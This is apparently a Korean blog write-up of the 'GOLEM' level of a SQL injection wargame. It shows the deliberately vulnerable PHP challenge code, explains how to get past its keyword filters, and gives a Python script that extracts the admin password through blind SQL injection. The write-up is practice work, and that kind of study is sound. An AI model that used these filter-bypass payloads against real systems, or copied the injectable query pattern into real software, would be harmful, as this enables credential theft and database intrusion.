GOLEM
11번 문제
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
// $GET[pw]에서 or, and, substr(, =이 필터링 되었다.
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
and, or, =, substr( 전부 필터링이 되었다. 이외에는 기존 blind sql injection 문제와 동일하다.
필터링을 적절히 우회하면서 이전의 방식 그대로 풀면 될 것 같다.
우선 pw의 길이를 확인했다.
= 대신에 like를 쓰자.
전과 마찬가지로 &&에 필터링이 걸린다. %26으로 대체해야 한다.
substr( 이 필터링되었기 때문에 substring 함수를 사용하자.
다음은 암호 찾는 용도의 python 코드이다.
from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
if __name__=="__main__":
for i in range(1, 9):
for j in range(48, 123) : # 아스키 코드의 범위
query = "' || id like 'admin' %26%26 ascii(substring(pw, "+str(i)+", 1)) like "+str(j)+"%23"
params = {"pw": unquote(query)}
cookies = {"PHPSESSID" : ""}
response = requests.get('https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php', cookies = cookies, params = params)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
if soup.select('h2') :
print(chr(j), end="")
break
암호를 찾았다.
문제해결!
'wargame > LOS' 카테고리의 다른 글
[LOS]13번 BUGBEAR (0) | 2019.08.06 |
---|---|
[LOS]12번 DARKNIGHT (0) | 2019.08.02 |
[LOS]10번 SKELETON (0) | 2019.07.24 |
[LOS]9번 VAMPIRE (0) | 2019.07.24 |
[LOS]8번 troll (0) | 2019.07.21 |